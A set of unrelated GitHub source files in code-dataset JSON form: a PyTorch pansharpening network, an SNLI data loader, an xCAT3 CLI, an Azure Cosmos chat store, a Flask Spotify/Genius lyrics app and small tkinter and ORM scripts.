'reflection':\n            self.padding = nn.Sequential(nn.ReflectionPad2d(self.padding))\n            self.conv = torch.nn.Conv2d(self.input_size, self.output_size, self.kernel_size, self.stride, 0, bias=self.bias)\n\n    def forward(self, x):\n        out = x\n        if self.pad_model is not None:\n            out = self.padding(out)\n\n        if self.norm is not None:\n            out = self.bn(self.conv(out))\n        else:\n            out = self.conv(out)\n\n        if self.activation is not None:\n            return self.act(out)\n        else:\n            return out\n\n\nclass ResnetBlock(torch.nn.Module):\n    def __init__(self, input_size, kernel_size=3, stride=1, padding=1, bias=True, scale=1, activation='prelu', norm='batch', pad_model=None):\n        super().__init__()\n\n        self.norm = norm\n        self.pad_model = pad_model\n        self.input_size = input_size\n        self.kernel_size = kernel_size\n        self.stride = stride\n        self.padding = padding\n        self.bias = bias\n        self.scale = scale\n        \n        if self.norm =='batch':\n            self.normlayer = torch.nn.BatchNorm2d(input_size)\n        elif self.norm == 'instance':\n            self.normlayer = torch.nn.InstanceNorm2d(input_size)\n        else:\n            self.normlayer = None\n\n        self.activation = activation\n        if self.activation == 'relu':\n            self.act = torch.nn.ReLU(True)\n        elif self.activation == 'prelu':\n            self.act = torch.nn.PReLU(init=0.5)\n        elif self.activation == 'lrelu':\n            self.act = torch.nn.LeakyReLU(0.2, True)\n        elif self.activation == 'tanh':\n            self.act = torch.nn.Tanh()\n        elif self.activation == 'sigmoid':\n            self.act = torch.nn.Sigmoid()\n        else:\n            self.act = None\n\n        if self.pad_model == None:   \n            self.conv1 = torch.nn.Conv2d(input_size, input_size, kernel_size, stride, padding, bias=bias)\n            self.conv2 = torch.nn.Conv2d(input_size, input_size, kernel_size, stride, padding, bias=bias)\n            self.pad = None\n        elif self.pad_model == 'reflection':\n            self.pad = nn.Sequential(nn.ReflectionPad2d(padding))\n            self.conv1 = torch.nn.Conv2d(input_size, input_size, kernel_size, stride, 0, bias=bias)\n            self.conv2 = torch.nn.Conv2d(input_size, input_size, kernel_size, stride, 0, bias=bias)\n\n        layers = filter(lambda x: x is not None, [self.pad, self.conv1, self.normlayer, self.act, self.pad, self.conv2, self.normlayer, self.act])\n        # layers = filter(lambda x: x is not None, [self.pad, self.conv1, self.normlayer, self.act])\n        self.layers = nn.Sequential(*layers)\n\n    def forward(self, x):\n        residual = x\n        out = x\n        out = self.layers(x)\n        out = out * self.scale\n        out = torch.add(out, residual)\n        return out\n\n\nclass Net(nn.Module):\n    def __init__(self, base_filter=None, args=None,num_channels=4,mid_channels=64, T = 4):\n        super().__init__()\n\n        print(\"now: pan_unfolding_V4\")\n        self.up_factor = 4\n        G0 = mid_channels\n        kSize = 3\n\n        # T = 4\n        # todo\n        self.conv_u = nn.ModuleList([nn.Sequential(*[                         \n            nn.Conv2d(4*(i+1), 64, kSize, padding=(kSize - 1) // 2, stride=1),\n            nn.Conv2d(64, 4, kSize, padding=(kSize - 1) // 2, stride=1)\n        ]) for i in range(T)])\n\n        self.u = nn.ParameterList(\n            [nn.Parameter(torch.tensor(0.5)) for _ in range(T)])\n        self.eta = nn.ParameterList(\n            [nn.Parameter(torch.tensor(0.5)) for _ in range(T)])\n        self.gama = nn.ParameterList(\n            [nn.Parameter(torch.tensor(0.5)) for _ in range(T)])\n        self.delta = nn.ParameterList(\n            [nn.Parameter(torch.tensor(0.1)) for _ in range(T)])\n\n        # self.gama1 = nn.ParameterList(\n        #     [nn.Parameter(torch.tensor(0.5)) for _ in range(T)])\n        # self.delta1 = nn.ParameterList(\n        #     [nn.Parameter(torch.tensor(0.1)) for _ in range(T)])\n        # self.u1 = nn.ParameterList(\n        #     [nn.Parameter(torch.tensor(0.5)) for _ in range(T)])\n\n        self.conv_up = Conv_up(4, G0, self.up_factor)\n        self.conv_down = Conv_down(4, G0, self.up_factor)\n\n        self.rm1 = att_spatial(res_num=3)\n        # self.rm2 = att_spatial(res_num=3)\n\n        # # self.NLBlock = nn.ModuleList([blockNL(4, 15) for _ in range(T)])\n        self.NLBlock = blockNL(4, 15)\n\n        self.hf_pan = nn.Conv2d(3, 1, 1, padding=0, stride=1)\n\n    def forward(self, lms, b_ms, pan): #l_ms,bms,pan\n        # lms B 4 64 64\n        # pan B 1 64 64\n\n        hp_pan_2 = pan - F.interpolate(F.interpolate(pan, scale_factor=1/2, mode='bicubic'), scale_factor=2, mode='bicubic') # B 1 256 256\n\n        hp_pan_4 = pan - F.interpolate(F.interpolate(pan, scale_factor=1/4, mode='bicubic'), scale_factor=4, mode='bicubic') # B 1 256 256\n\n        hp_pan_8 = pan - F.interpolate(F.interpolate(pan, scale_factor=1/8, mode='bicubic'), scale_factor=8, mode='bicubic') # B 1 256 256\n\n        pan_hp = self.hf_pan(torch.cat([hp_pan_2, hp_pan_4, hp_pan_8], dim=1))  # B 1 256 256\n\n\n        hms = torch.nn.functional.interpolate(lms, scale_factor=self.up_factor, mode='bilinear', align_corners=False)   # B 4 256 256\n        x = hms\n\n        uk_list = []\n        vk_list = []\n        outs_list = []\n\n        # decode_u_list = []\n\n        for i in range(len(self.conv_u)):\n            if i!=0:\n                uk = self.conv_u[i](torch.cat(uk_list + [x], 1))         # B 4 256 256\n            else:\n                uk = self.conv_u[i](x)         # B 4 256 256\n            # uk_list.append(uk)\n\n            # denoising module\n            rm1_s2_0 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(uk[:,0,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm1_s2_1 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(uk[:,1,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm1_s2_2 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(uk[:,2,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm1_s2_3 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(uk[:,3,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            decode_u = torch.cat([rm1_s2_0, rm1_s2_1, rm1_s2_2, rm1_s2_3], 1)  # B 4 256 256\n\n            decode_u = decode_u + uk  # B 4 256 256\n            uk_list.append(decode_u)\n\n\n            # NARM\n            NL = self.NLBlock(x)        # B 4 256 256\n            # vk_list.append(NL)\n            if i!=0:\n                vk = self.conv_u[i](torch.cat(vk_list+[NL], 1))\n            else:\n                vk = self.conv_u[i](NL)         # B 4 256 256\n            # vk = self.conv_u[i](torch.cat(vk_list, 1))         # B 4 256 256\n            # denoising module\n            rm2_s2_0 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(vk[:,0,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm2_s2_1 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(vk[:,1,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm2_s2_2 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(vk[:,2,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            rm2_s2_3 = pan_hp + self.rm1(torch.cat([torch.unsqueeze(vk[:,3,:,:],1), pan], 1)) * pan_hp  # B 1 256 256\n            decode_v = torch.cat([rm2_s2_0, rm2_s2_1, rm2_s2_2, rm2_s2_3], 1)  # B 4 256 256\n\n            decode_v = decode_v + vk  # B 4 256 256\n            vk_list.append(decode_v)\n\n            # iteration\n            x = x - self.delta[i]*(self.conv_up(self.conv_down(x)-lms+self.u[i]*(self.conv_down(NL)-lms))+self.eta[i]*(x-decode_u)+self.gama[i]*(NL-decode_v))\n\n            outs_list.append(x)\n\n        return outs_list[-1]# , uk_list[-1], vk_list[-1] # , decoder_list, fea_list\n    \n    def test(self, device='cpu'):\n        total_params = sum(p.numel() for p in self.parameters())\n        print(f'{total_params:,} total parameters.')\n        total_trainable_params = sum(\n            p.numel() for p in self.parameters() if p.requires_grad)\n        print(f'{total_trainable_params:,} training parameters.')\n\n        input_ms = torch.rand(1, 4, 64, 64)    # 196 为在Embeddings中的 n_patches （14 * 14）\n        input_pan = torch.rand(1, 1, 256, 256)\n        \n        # ideal_out = torch.rand(1, 4, 256, 256)\n        \n        # out = self.forward(input_ms, None, input_pan)\n        \n        # assert out.shape == ideal_out.shape\n        import torchsummaryX\n        torchsummaryX.summary(self, input_ms.to(device), None, input_pan.to(device))\n\n        #\n        # from thop import profile\n        # flops, params = profile(self, inputs=(input_ms,None, input_pan))\n        # print(\"flops:\", flops/1e9, \"G\")\n        # print(\"params:\", params/1e6, \"M\")\n\nif __name__ == \"__main__\":\n\n\n    net3 = pan_unfolding(T=3)\n    net3.test()\n\n\n","repo_name":"manman1995/Awaresome-pansharpening","sub_path":"model/pan_unfolding-CVPR.py","file_name":"pan_unfolding-CVPR.py","file_ext":"py","file_size_in_byte":18052,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"18"}
{"seq_id":"15529545197","text":"import numpy as np\nimport random\nimport json\n\n\ndef process_snli(file_path, word_to_index, to_lower):\n    label_dict = {'entailment': 0, 'contradiction': 1, 'neutral': 2}\n    data = []\n    with open(file_path, 'r') as f:\n        for line in f:\n            example = {}\n            line = json.loads(line)\n            if line['gold_label'] != '-':\n                example['label'] = label_dict[line['gold_label']]\n                if to_lower is True:\n                    tmp1 = line['sentence1_binary_parse'].replace('(', '').replace(')', '').lower().split()\n                    tmp2 = line['sentence2_binary_parse'].replace('(', '').replace(')', '').lower().split()\n                else:\n                    tmp1 = line['sentence1_binary_parse'].replace('(', '').replace(')', '').split()\n                    tmp2 = line['sentence2_binary_parse'].replace('(', '').replace(')', '').split()\n                tmp1.insert(0, '<NULL>')\n                tmp2.insert(0, '<NULL>') \n                example['premise'] = ' '.join(tmp1) \n                example['hypothesis'] = ' '.join(tmp2)\n                example['premise_to_words'] = [word for word in example['premise'].split(' ')]\n                example['hypothesis_to_words'] = [word for word in example['hypothesis'].split(' ')]\n                example['premise_to_tokens'] = [word_to_index[word] if word in word_to_index.keys() else (hash(word) % 100) for word in example['premise_to_words']]\n                example['hypothesis_to_tokens'] = [word_to_index[word] if word in word_to_index.keys() else (hash(word) % 100) for word in example['hypothesis_to_words']]\n                example['max_length'] = max(len(example['premise_to_tokens']), len(example['hypothesis_to_tokens']))\n                data.append(example)\n    return data\n\n\ndef load_embedding_and_build_vocab(file_path):\n    vocab = []\n    word_embeddings = []\n    for i in range(0, 100): \n        oov_word = '<OOV' + str(i) + '>'\n        vocab.append(oov_word)\n        word_embeddings.append(list(np.random.normal(scale=1, size=300)))\n    vocab.append('<PAD>')\n    word_embeddings.append(list(np.zeros(300)))\n    index_to_word = dict(enumerate(vocab))\n    word_to_index = dict([(index_to_word[index], index) for index in index_to_word])\n\n    with open(file_path, 'r') as f:\n        for i, line in enumerate(f):\n            line = line.split()\n            if len(line) < 301:\n                continue\n            word = ' '.join(line[:-300])\n            vector = [float(x) for x in line[-300:]]\n            vocab.append(word)\n            word_embeddings.append(vector)\n            word_to_index[word] = i + 101\n            index_to_word[i + 101] = word\n\n    return vocab, np.array(word_embeddings), word_to_index, index_to_word\n\n\ndef semi_sort_data(data):\n    return [example for example in data if example['max_length'] < 20] + \\\n           [example for example in data if 20 <= example['max_length'] < 50] +\\\n           [example for example in data if example['max_length'] >= 50]\n\n\ndef batch_iter(dataset, batch_size, shuffle):\n    start = -1 * batch_size\n    dataset_size = len(dataset)\n\n    if shuffle:\n        semi_sort_data(dataset)\n    \n    index_list = list(range(len(dataset)))\n\n    while True:\n        start += batch_size\n        label = []\n        premise = []\n        hypothesis = []\n        if start > dataset_size - batch_size:\n            start = 0\n        batch_indices = index_list[start:start + batch_size]\n        batch = [dataset[index] for index in batch_indices]\n        for k in batch:\n            label.append(k['label'])\n            premise.append(k['premise_to_tokens'])\n            hypothesis.append(k['hypothesis_to_tokens'])\n        max_length_prem = max([len(item) for item in premise])\n        max_length_hypo = max([len(item) for item in hypothesis])\n        for item in premise:\n            item.extend([100] * (max_length_prem - len(item)))\n        for item in hypothesis:\n            item.extend([100] * (max_length_hypo - len(item)))\n        yield [label, premise, hypothesis] \n\n\nif __name__ == '__main__':\n    # Test\n    vocab, word_embeddings, word_to_index, index_to_word = load_embedding_and_build_vocab('../data/fasttext.simple.300d')\n    dev_set = process_snli('../data/snli_1.0_dev.jsonl', word_to_index, to_lower=True)\n    dev_iter = batch_iter(dataset=dev_set, batch_size=4, shuffle=True)\n","repo_name":"nyuxz/ds1011_final_project","sub_path":"decomp_att/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"32013569391","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nBuild netboot image from ISO\n\"\"\"\n\nimport sys\nimport traceback\n\nfrom oslo_config import cfg\n\nfrom xcat3.common.i18n import _\nfrom xcat3.common import service\nfrom xcat3.conf import CONF\nfrom xcat3.copycd import copycds\n\n\nclass CopycdsCommand(object):\n    def create(self):\n        copycds.create(iso=CONF.command.iso, image=CONF.command.image)\n\n\ndef add_command_parsers(subparsers):\n    command_object = CopycdsCommand()\n\n    parser = subparsers.add_parser(\n        'create',\n        help=_(\"Create netboot images from Operation System ISO.\"))\n    parser.set_defaults(func=command_object.create)\n    parser.add_argument('-n', '--image', nargs='?',\n                        help=_(\"The image name store in xCAT3 system\"))\n    parser.add_argument('iso', help=\"The iso file path for operation system\")\n\n\ncommand_opt = cfg.SubCommandOpt('command',\n                                title='Command',\n                                help=_('Available commands'),\n                                handler=add_command_parsers)\n\nCONF.register_cli_opt(command_opt)\n\n\ndef main():\n    # Only allow create subcommand for copycds command. `create` is also\n    # optional argument as it is the default one.\n    # `osimage` interface will handle the list, update and delete operation\n    # on the image.\n    valid_commands = set(['create', ])\n    if not set(sys.argv) & valid_commands:\n        sys.argv.insert(1, 'create')\n\n    service.prepare_service(sys.argv)\n    try:\n        CONF.command.func()\n    except Exception:\n        print (traceback.format_exc())\n        sys.exit(1)\n","repo_name":"chenglch/xcat3","sub_path":"xcat3/cmd/copycds.py","file_name":"copycds.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"72670170280","text":"import uuid\nfrom typing import Optional\n\nfrom azure.cosmos import CosmosClient, PartitionKey\nfrom fastapi.encoders import jsonable_encoder\nfrom pydantic import BaseModel\n\nfrom ai_document_search_backend.database_providers.conversation_database import (\n    ConversationDatabase,\n    Conversation,\n    Message,\n)\n\n\nclass DBConversation(BaseModel):\n    id: str\n    username: str\n    created_at: str\n    messages: list[Message]\n\n\nclass CosmosConversationDatabase(ConversationDatabase):\n    def __init__(self, url: str, key: str, db_name: str, offer_throughput: int):\n        self.client = CosmosClient(url=url, credential=key)\n        self.database = self.client.create_database_if_not_exists(id=db_name)\n        self.conversations = self.database.create_container_if_not_exists(\n            id=\"Conversations\",\n            partition_key=PartitionKey(path=\"/username\"),\n            offer_throughput=offer_throughput,\n        )\n\n        super().__init__()\n\n    def get_latest_conversation(self, username: str) -> Optional[Conversation]:\n        db_conversation = self.__get_latest_db_conversation(username)\n        if db_conversation is None:\n            return None\n        return Conversation(\n            created_at=db_conversation[\"created_at\"], messages=db_conversation[\"messages\"]\n        )\n\n    def add_conversation(self, username: str, conversation: Conversation) -> None:\n        new_conversation = {\n            \"id\": str(uuid.uuid4()),\n            \"username\": username,\n            \"created_at\": conversation.created_at,\n            \"messages\": jsonable_encoder(conversation.messages),\n        }\n        self.conversations.create_item(new_conversation)\n\n    def add_to_latest_conversation(\n        self, username: str, user_message: Message, bot_message: Message\n    ) -> None:\n        db_conversation = self.__get_latest_db_conversation(username)\n        if db_conversation is None:\n            raise ValueError(f\"No conversation found for user {username}\")\n\n        db_conversation[\"messages\"].append(jsonable_encoder(user_message))\n        db_conversation[\"messages\"].append(jsonable_encoder(bot_message))\n\n        self.conversations.replace_item(item=db_conversation[\"id\"], body=db_conversation)\n\n    def clear_conversations(self, username: str) -> None:\n        query = \"SELECT * FROM conversation c WHERE c.username = @username\"\n        params = [dict(name=\"@username\", value=username)]\n        conversations = self.conversations.query_items(\n            query=query, parameters=params, enable_cross_partition_query=False\n        )\n        for conversation in conversations:\n            conversation_id = conversation[\"id\"]\n            self.conversations.delete_item(item=conversation_id, partition_key=username)\n\n    def __get_latest_db_conversation(self, username: str) -> Optional[DBConversation]:\n        query = \"SELECT * FROM conversation c WHERE c.username = @username ORDER BY c.created_at DESC OFFSET 0 LIMIT 1\"\n        params = [dict(name=\"@username\", value=username)]\n\n        db_conversations = self.conversations.query_items(\n            query=query, parameters=params, enable_cross_partition_query=False\n        )\n        return next(db_conversations, None)\n","repo_name":"petr7555/ai-document-search-backend","sub_path":"ai_document_search_backend/database_providers/cosmos_conversation_database.py","file_name":"cosmos_conversation_database.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28884779190","text":"import matplotlib.pyplot as plt\nimport numpy as np  \nimport math\n# import time\n\ndef trace(rx, ry, fig):\n    d = 1 # distance between each fixed node [m]\n    x = [0, d, d/2] # x-coordinate of each fixed node [m]\n    y = [0 , 0, d*math.sqrt(3)/2] # y-coordinate of each fixed node [m]\n    colors = ['gold', 'blue', 'red'] # colors to plot\n\n    # plot the fixed nodes in its places\n    ax = fig.gca()\n    ax.cla()\n    ax.set_xlim((-0.2, 1.2))\n    ax.set_ylim((-0.2, 1.1))\n    \n    for i in range(3):\n        ax.scatter(x[i], y[i], s=200, marker='o', c=colors[i])\n        ax.add_patch(plt.Circle((x[i],y[i]), math.sqrt((rx-x[i])**2+(ry-y[i])**2), \n                                color=colors[i], ls = '--', fill=False, clip_on=True))\n    # plot the new position for the movable node\n    ax.scatter(rx, ry, s=200, marker='o', c='black')    \n    return fig\n\nd = 1\nfig = plt.gcf()\nfor i in range(1):\n    rx, ry = (np.random.rand(1,1)*d,np.random.rand(1,1)*d*math.sqrt(3)/2)\n    fig = trace(rx,ry,fig)\n\n\n\nmsg_format = bytes('(-120,-121,-122)','utf-8')\nmsg_string = msg_format.decode('utf-8')[1:-1].split(',')\n# rx, ry = [float(x) for x in msg_string]\nrssiAP1, rssiAP2, rssiAP3 = [int(x) for x in msg_string]\nprint(rssiAP1, rssiAP2, rssiAP3)\n\n","repo_name":"Lwao/esp32-tracking-network","sub_path":"Python/plot_test.py","file_name":"plot_test.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72823246120","text":"from utils.logger import get_logger\n\nfrom devices.base_device import BaseDevice\n\n# (Request from mail: Eml6429)\n\n#region File Attributes\n\n__author__ = \"Orlin Dimitrov\"\n\"\"\"Author of the file.\"\"\"\n\n__copyright__ = \"Copyright 2020, POLYGON Team Ltd.\"\n\"\"\"Copyrighter\n@see http://polygonteam.com/\"\"\"\n\n__credits__ = [\"Angel Boyarov\"]\n\"\"\"Credits\"\"\"\n\n__license__ = \"GPLv3\"\n\"\"\"License\n@see http://www.gnu.org/licenses/\"\"\"\n\n__version__ = \"1.0.0\"\n\"\"\"Version of the file.\"\"\"\n\n__maintainer__ = \"Orlin Dimitrov\"\n\"\"\"Name of the maintainer.\"\"\"\n\n__email__ = \"or.dimitrov@polygonteam.com\"\n\"\"\"E-mail of the author.\n@see or.dimitrov@polygonteam.com\"\"\"\n\n__status__ = \"Debug\"\n\"\"\"File status.\"\"\"\n\n#endregion\n\nclass Boiler(BaseDevice):\n    \"\"\"Boiler.\n    \"\"\"\n\n#region Attributes\n\n    __logger = None\n    \"\"\"Logger\n    \"\"\"\n\n    __heat = 0\n    \"\"\"Debit of the pump.\n    \"\"\"\n\n#endregion\n\n#region Constructor / Destructor\n\n    def __init__(self, **config):\n\n        super().__init__(config)\n\n        # Create logger.\n        self.__logger = get_logger(__name__)\n        self.__logger.info(\"Starting up the: {}\".format(self.name))\n\n    def __del__(self):\n        \"\"\"Destructor\n        \"\"\"\n\n        super().__del__()\n\n        if self.__logger is not None:\n            del self.__logger\n\n#endregion\n\n#region Public Methods\n\n    def set_heat(self, heat):\n        \"\"\"Heater setpoint\n        \"\"\"\n\n        self.__heat = heat\n\n        self.__logger.debug(\"Set the heat of {} to {}\".format(self.name, self.__heat))\n\n    def init(self):\n\n        self.__logger.debug(\"Init the: {}\".format(self.name))\n\n    def shutdown(self):\n\n        self.__logger.debug(\"Shutdown the: {}\".format(self.name))\n\n    def update(self):\n\n        self.__logger.debug(\"The heat of {} is {}.\".format(self.name, self.__heat))\n\n#endregion\n","repo_name":"bgerp/ztm","sub_path":"Zontromat/devices/vendors/no_vendor_6/boiler.py","file_name":"boiler.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42584066958","text":"from flask_login import UserMixin\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import login_user, current_user, LoginManager\nfrom spotify import get_access_token, get_song_data\nfrom genius import get_lyrics_link\nimport flask\nfrom flask_login.utils import login_required\nimport requests\nimport os\nimport json\n\nimport random\nimport base64\nfrom dotenv import load_dotenv, find_dotenv\n\nload_dotenv(find_dotenv())\n\n\napp = flask.Flask(__name__, static_folder=\"./build/static\")\n# Point SQLAlchemy to your Heroku database\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.getenv(\"DATABASE_URL\")\n# Gets rid of a warning\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.secret_key = b'_5#y2L\"F4Q8z\\n\\xec]/'\n\n\ndb = SQLAlchemy(app)\n\n\nclass User(UserMixin, db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80))\n\n    def __repr__(self):\n        return f\"<User {self.username}>\"\n\n    def get_username(self):\n        return self.username\n\nclass Artist(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    artist_id = db.Column(db.String(80), nullable=False)\n    username = db.Column(db.String(80), nullable=False)\n\n    def __repr__(self):\n        return f\"<Artist {self.artist_id}>\"\n\n\ndb.create_all()\nlogin_manager = LoginManager()\nlogin_manager.login_view = \"login\"\nlogin_manager.init_app(app)\n\n\n@login_manager.user_loader\ndef load_user(user_name):\n    return User.query.get(user_name)\n\n\ndef get_access_token():\n    auth = base64.standard_b64encode(\n        bytes(\n            f\"{os.getenv('SPOTIFY_CLIENT_ID')}:{os.getenv('SPOTIFY_CLIENT_SECRET')}\",\n            \"utf-8\",\n        )\n    ).decode(\"utf-8\")\n    response = requests.post(\n        \"https://accounts.spotify.com/api/token\",\n        headers={\"Authorization\": f\"Basic {auth}\"},\n        data={\"grant_type\": \"client_credentials\"},\n    )\n    json_response = response.json()\n    return json_response[\"access_token\"]\n\n\nbp = flask.Blueprint(\"bp\", __name__, template_folder=\"./build\")\n\n\n\n@bp.route(\"/index\")\n@login_required\ndef index():\n    artists = Artist.query.filter_by(username=current_user.username).all()\n    artist_ids = [a.artist_id for a in artists]\n    has_artists_saved = len(artist_ids) > 0\n    if has_artists_saved:\n        artist_id = random.choice(artist_ids)\n\n        # API calls\n        access_token = get_access_token()\n        (song_name, song_artist, song_image_url, preview_url) = get_song_data(\n            artist_id, access_token\n        )\n        genius_url = get_lyrics_link(song_name)\n\n    else:\n        (song_name, song_artist, song_image_url, preview_url, genius_url) = (\n            None,\n            None,\n            None,\n            None,\n            None,\n        )\n\n    data = json.dumps(\n            \n        {\n            \"username\": current_user.username,\n            \"artist_ids\": artist_ids,\n            \"has_artists_saved\": has_artists_saved,\n            \"song_name\": song_name,\n            \"song_artist\": song_artist,\n            \"song_image_url\": song_image_url,\n            \"preview_url\": preview_url,\n            \"genius_url\": genius_url,\n        }\n    )\n    return flask.render_template(\n        \"index.html\",\n        data=data,\n    )\n\n\napp.register_blueprint(bp)\n\n\n@app.route(\"/signup\")\ndef signup():\n    return flask.render_template(\"signup.html\")\n\n\n@app.route(\"/signup\", methods=[\"POST\"])\ndef signup_post():\n    username = flask.request.form.get(\"username\")\n    user = User.query.filter_by(username=username).first()\n    if user:\n        pass\n    else:\n        user = User(username=username)\n        db.session.add(user)\n        db.session.commit()\n\n    return flask.redirect(flask.url_for(\"login\"))\n\n\n@app.route(\"/login\")\ndef login():\n    return flask.render_template(\"login.html\")\n\n\n\n@app.route(\"/login\", methods=[\"POST\"])\ndef login_post():\n    username = flask.request.form.get(\"username\")\n    user = User.query.filter_by(username=username).first()\n    if user:\n        login_user(user)\n        return flask.redirect(flask.url_for(\"bp.index\"))\n\n    else:\n        return flask.jsonify({\"status\": 401, \"reason\": \"Username or Password Error\"})\n\n@app.route(\"/save\", methods=[\"POST\"])\ndef save():\n    artist_id = flask.request.json.get(\"artist_id\")\n    print(flask.request.json)\n    try:\n        access_token = get_access_token()\n        get_song_data(artist_id, access_token)\n    except Exception:\n        flask.flash(\"Invalid artist ID entered\")\n        return flask.redirect(flask.url_for(\"bp.index\"))\n\n    username = current_user.username\n    db.session.add(Artist(artist_id=artist_id, username=username))\n    db.session.commit()\n    #return flask.redirect(flask.url_for(\"bp.index\"))\n    return flask.jsonify({\"artist_ids\" : artist_id})\n\n\n@app.route(\"/\")\ndef main():\n    if current_user.is_authenticated:\n        return flask.redirect(flask.url_for(\"bp.index\"))\n    return flask.redirect(flask.url_for(\"login\"))\n\n\n@app.route(\"/increment\", methods =[\"POST\"])\ndef increment():\n    print(flask.request.json)\n    num_clicks = flask.request.form.get(\"num_clicks\")\n    return flask.jsonify({ \"num_click_server\": num_clicks+1})\n\napp.run(debug =True)\n","repo_name":"Rominaka4/p1m3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12289437436","text":"print(\"Witaj tajemniczy podróżniku, dziś będziemy nadawać paczki, podaj liczbę elementów do wysłania\")\r\nmax_liczba_elementów = int(input())\r\nelement = 0\r\npaczka = 0\r\nwyslane_paczki = 0\r\nwyslane_kilogramy = 0\r\nmax_liczba_pustych_kg = 0\r\nnajpustsza_paczka = 0\r\nwhile max_liczba_elementów > 0:\r\n    print(\"Podaj wagę elementu\")\r\n    waga_elementu = float(input())\r\n    if waga_elementu > 10 or waga_elementu == 0 or waga_elementu < 1:\r\n        break\r\n    elif paczka + waga_elementu > 20:\r\n        print(\"Waga paczki to \", paczka, \"Paczka została wysłana\")\r\n        ilosc_pustki_w_paczce = 20 - paczka\r\n        paczka = 0 + waga_elementu\r\n        wyslane_paczki = wyslane_paczki + 1\r\n        if ilosc_pustki_w_paczce > max_liczba_pustych_kg:\r\n            max_liczba_pustych_kg = ilosc_pustki_w_paczce\r\n            najpustsza_paczka = wyslane_paczki\r\n    else:\r\n        paczka = paczka + waga_elementu\r\n        max_liczba_elementów = max_liczba_elementów - 1\r\n        wyslane_kilogramy = wyslane_kilogramy + waga_elementu\r\n        print(\"pozostało \", (max_liczba_elementów), \"do wysłania\")\r\n        print(\"Waga paczki to \", (paczka))\r\nelse:\r\n    print(\"Ilosc wyslanych paczek to \", (wyslane_paczki))\r\n    print(\"Ilość wysłanych kilogramów to \", (wyslane_kilogramy))\r\n    print(\"Suma pustych kilogramów to \", wyslane_paczki * 20 - wyslane_kilogramy)\r\n    print(\"Najwięcej pustych kg miała paczka nr \", najpustsza_paczka, \"byo to \", max_liczba_pustych_kg, \"kg\" )\r\n","repo_name":"Masterstation732/Program-do-paczek-","sub_path":"Program.py","file_name":"Program.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29314218949","text":"import tkinter as tk\n\nroot = tk.Tk()\n\nsb = tk.Scrollbar(root)\nsb.pack(side=\"right\", fill=\"y\")\n\nlb = tk.Listbox(root, yscrollcommand=sb.set)\n\nfor i in range(1000):\n    lb.insert(\"end\", str(i))\n\nlb.pack(side=\"left\", fill=\"both\")\n\nsb.config(command=lb.yview)\n\nroot.mainloop()","repo_name":"LuckyStrike-zhou/excel_helper","sub_path":"schedule/schedule4.py","file_name":"schedule4.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"13385994581","text":"from models import Start, Category, Brand, Model, Admin\n#\n#\nasync def main():\n    N = ['Да, хочу скидку', 'Нет, откажусь']\n    for n in N:\n        n = Model(\n            name=n,\n            brand_id=1\n        )\n        await n.save()\n\n\nif __name__ == '__main__':\n    import asyncio\n    asyncio.run(main())\n#\n# async def main():\n#     n = Image(\n#         image='screenshot2023.05.18.11.40.44.png'\n#     )\n#     await n.save()\n#\n#\n# if __name__ == '__main__':\n#     import asyncio\n#     asyncio.run(main())\n\n\n#\n#\n# import psycopg2\n# import json\n#\n# # Установка соединения с базой данных PostgreSQL\n# conn = psycopg2.connect(\n#     host=\"хост\",\n#     port=\"порт\",\n#     database=\"имя_базы_данных\",\n#     user=\"пользователь\",\n#     password=\"пароль\"\n# )\n#\n# # Создание курсора для выполнения SQL-запросов\n# cur = conn.cursor()\n#\n# # Выполнение SQL-запроса\n# cur.execute(\"SELECT * FROM your_table\")\n#\n# # Получение результатов\n# rows = cur.fetchall()\n#\n# # Преобразование результатов в список словарей\n# results = []\n# for row in rows:\n#     results.append(dict(zip(cur.description, row)))\n#\n# # Преобразование списка словарей в формат JSON\n# json_data = json.dumps(results)\n#\n# # Вывод JSON-данных\n# print(json_data)\n#\n# # Закрытие курсора и соединения с базой данных\n# cur.close()\n# 